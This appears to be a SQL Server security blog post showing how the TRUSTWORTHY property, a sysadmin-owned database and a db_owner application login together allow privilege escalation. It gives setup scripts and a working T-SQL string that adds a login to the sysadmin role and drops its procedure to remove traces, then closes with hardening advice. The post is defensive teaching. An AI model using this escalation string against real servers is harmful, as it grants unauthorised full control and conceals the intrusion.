A few weeks ago (okay, a few more than a few weeks ago) I wrote about the TRUSTWORTHY database property and how it changes effective permissions. At that point I promised to show how the trustworthy property can be misused for malicious intent. With this post I am going to deliver on that promise. I am going to show how two often encountered configuration choices together with the TRUSTWORTHY database property open up a big security hole.
Most databases out there were created by a member of the sysadmin server role. By default any database is owned by the principal that created it, so it is probably safe to say that most databases out there are owned by a sysadmin. Even more so as many sources recommend changing the database owner to SA on all databases.
It has been written and talked about in many places and most of us know that granting more than the absolute necessary permissions to a user is a bad idea. This is particularly true for users that are used by an application to access the database.
But still, there are many products out there that recommend or even enforce that the connection to the database is made by a login that is mapped to the db_owner role in that application's database.
Most things in SQL Server that "require" a database set to TRUSTWORTHY can actually be implemented using certificates instead. An example is cross database Service Broker communication. You can either just mark the databases involved as TRUSTWORTHY and be done with it, or you have to create a more secure but considerably more complex setup involving certificates. Many people shy away from the certificate route and use the quick and easy TRUSTWORTHY fix.
Now let us have a look at what happens when those three things I just mentioned, a sysadmin owned database, an application login that is a db_owner and a database set to be TRUSTWORTHY, apply to the same database. As we learned in the first part of this article, a stored procedure that is set to execute as owner and that is owned by a database owner will during execution acquire the permission set of the actual database owner if the database is set to TRUSTWORTHY. But in this case that database owner is member of the sysadmin server role. So effectively, the application user now has sysadmin rights.
Let's look at an example. First we are going to create a new database with a few supporting objects that we will use later on.
<br /> USE tempdb;<br /> GO<br /> IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;<br /> GO<br /> CREATE PROCEDURE #ForceDropDatabase<br /> @db_name NVARCHAR(MAX)<br /> AS<br /> BEGIN<br /> IF(DB_ID(@db_name)IS NOT NULL)<br /> BEGIN<br /> EXEC('<br /> USE master;<br /> ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;<br /> USE '+@db_name+';<br /> ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;<br /> USE master;<br /> DROP DATABASE '+@db_name+';<br /> ');<br /> END;<br /> END<br /> GO<br /> EXEC #ForceDropDatabase 'SaOwnedDb';<br /> GO<br /> EXECUTE AS LOGIN = 'SA';<br /> GO<br /> CREATE DATABASE SaOwnedDb;<br /> GO<br /> USE SaOwnedDb;<br /> GO<br /> CREATE SCHEMA hlp;<br /> GO<br /> CREATE PROCEDURE hlp.TryExec<br /> @cmd NVARCHAR(MAX)<br /> AS<br /> BEGIN<br /> BEGIN TRY<br /> EXEC(@cmd);<br /> END TRY<br /> BEGIN CATCH<br /> SELECT 'TryExec' info,'|'[|],@cmd cmd,ERROR_MESSAGE() error_message;<br /> END CATCH;<br /> END;<br /> GO<br /> CREATE PROCEDURE hlp.DatabaseProperties<br /> AS<br /> BEGIN<br /> SELECT 'DatabaseProperties' info,'|'[|],d.name database_name,p.name database_owner,d.is_trustworthy_on<br /> FROM sys.databases d<br /> JOIN sys.server_principals p<br /> ON d.owner_sid = p.sid<br /> WHERE d.database_id = DB_ID();<br /> END;<br /> GO<br /> CREATE PROCEDURE hlp.ObjectProperties<br /> @object_name NVARCHAR(MAX)<br /> WITH EXECUTE AS SELF<br /> AS<br /> BEGIN<br /> SELECT 'ObjectProperties' info,'|'[|],<br /> s.name schema_name,<br /> p.name object_name,<br /> USER_NAME(p.principal_id) object_owner,<br /> USER_NAME(s.principal_id) schema_owner,<br /> CASE m.execute_as_principal_id<br /> WHEN -2 THEN 'OWNER'<br /> ELSE USER_NAME(m.execute_as_principal_id)<br /> END execute_as_user<br /> FROM sys.procedures p<br /> JOIN sys.sql_modules m<br /> ON p.object_id = m.object_id<br /> JOIN sys.schemas s<br /> ON p.schema_id = s.schema_id<br /> WHERE p.object_id = OBJECT_ID(@object_name);<br /> END;<br /> GO<br /> CREATE FUNCTION hlp.CurrentTokens()<br /> RETURNS TABLE<br /> AS<br /> RETURN<br /> SELECT 'CurrentTokens' info,'|'[|],OBJECT_NAME(@@PROCID)procedure_name,USER_NAME() [user],SUSER_NAME() [login],'|'[l], *<br /> FROM(<br /> SELECT 'user' token_source,name, type, usage FROM sys.user_token<br /> UNION ALL<br /> SELECT 'login' token_source,name, type, usage FROM sys.login_token<br /> )X;<br /> GO<br /> CREATE FUNCTION hlp.RoleMembership(@principal_name SYSNAME)<br /> RETURNS TABLE<br /> AS<br /> RETURN<br /> SELECT 'RoleMembership' info,'|'[|],sp.name member_name, spr.name role_name<br /> FROM sys.server_principals sp<br /> JOIN sys.server_role_members srm<br /> ON sp.principal_id = srm.member_principal_id<br /> JOIN sys.server_principals spr<br /> ON srm.role_principal_id = spr.principal_id<br /> WHERE sp.NAME = @principal_name;<br /> GO<br /> GRANT EXECUTE,SELECT ON SCHEMA::hlp TO PUBLIC;<br /> GO<br /> ALTER DATABASE SaOwnedDb SET TRUSTWORTHY ON;<br /> GO<br /> EXEC hlp.DatabaseProperties;<br /> GO<br /> USE tempdb;<br /> GO<br /> REVERT;<br /> GO<br />
When you execute this code, it will drop any preexisting database with the name SAOwnedDb. Then it creates a new database with the same name, using EXECUTE AS LOGIN = 'SA'; to make sure the database is owned by SA. Afterwards the script creates the hlp schema with its helper procedures. As last step, the database is set to trustworthy. The output of the hlp.DatabaseProperties procedure allows us to check the database owner as well as the trustworthy state:
The next step now is to create a login and an associated user and then make that user a member of the db_owner role in our database.
<br /> USE SaOwnedDb;<br /> GO<br /> CREATE LOGIN ApplicationLogin WITH PASSWORD = '**********';<br /> CREATE USER ApplicationUser FROM LOGIN ApplicationLogin;<br /> GO<br /> ALTER ROLE db_owner ADD MEMBER ApplicationUser;<br /> GO<br /> IF OBJECT_ID('dbo.CheckPerms') IS NOT NULL DROP PROCEDURE dbo.CheckPerms;<br /> GO<br /> CREATE PROCEDURE dbo.CheckPerms<br /> WITH EXECUTE AS OWNER<br /> AS<br /> BEGIN<br /> SELECT * FROM hlp.CurrentTokens();<br /> END;<br /> GO<br /> EXECUTE AS USER='ApplicationUser';<br /> GO<br /> EXEC dbo.CheckPerms;<br /> GO<br /> REVERT;<br /> GO<br />
The above script also creates a procedure dbo.CheckPerms that will list the security tokens in effect when it gets executed. Notice that it has the EXECUTE AS OWNER clause specified. The output of that procedure when executed by our ApplicationUser looks like this:
Particularly interesting is row 4 of the result. Is shows that all sysadmin privileges are in full effect while the procedure is executing. (Refer back to the first part for a little more information on security tokes.)
The following code shows a short character string that when executed elevates the ApplicationLogin to a sysadmin.
<br /> EXECUTE AS USER = 'ApplicationUser';<br /> GO<br /> DECLARE @cmd NVARCHAR(MAX) =<br /> 'EXEC(''CREATE PROC dbo.hack WITH EXECUTE AS OWNER AS '+<br /> 'ALTER SERVER ROLE sysadmin ADD MEMBER ApplicationLogin;'');'+<br /> 'EXEC dbo.hack;DROP PROC dbo.Hack;'</p> <p>EXEC(@cmd)<br /> GO<br /> REVERT<br /> GO<br /> SELECT * FROM hlp.RoleMembership('ApplicationLogin');<br />
The output of the SELECT statement at the end confirms that the login now is indeed member of the sysadmin server role:
The string first creates a new procedure with the EXECUTE AS OWNER option. Because the ApplicationUser is a member of the db_owner database role it has the necessary permissions to create that object. Inside the procedure is the code that is used to elevate an account. This example is using the ApplicationLogin for this purpose, but it could be any login. The code could even create a new login.
At the end the string contains two statements to first execute the procedure and then drop it to remove all traces.
This string is certainly short enough to be used in a SQL Injection attack. SQL Injection is not that unlikely to happen. Most of the applications I see at my clients have more or less big holes in this regard.
But we don't even need to go there. Most attacks on a company's IT infrastructure originate in-house. This string could for example just be executed by any person that happens to have to password to this account — likely many people as it is used by the application to connect to the server.
We have seen that the combination of the TRUSTWORTHY database setting with two other often seen configurations opens up the entire server to a malicious user that manages to get a short SQL command injected and executed. Don't let your IT infrastructure fall prey to an attack like this.
Avoid using the TRUSTWORTHY database property. But if you have to use it, make sure that the database is owned by an account that does not have more permissions outside of the database than absolutely necessary. And – most important – do not have your application use a login that is member of the db_owner database role.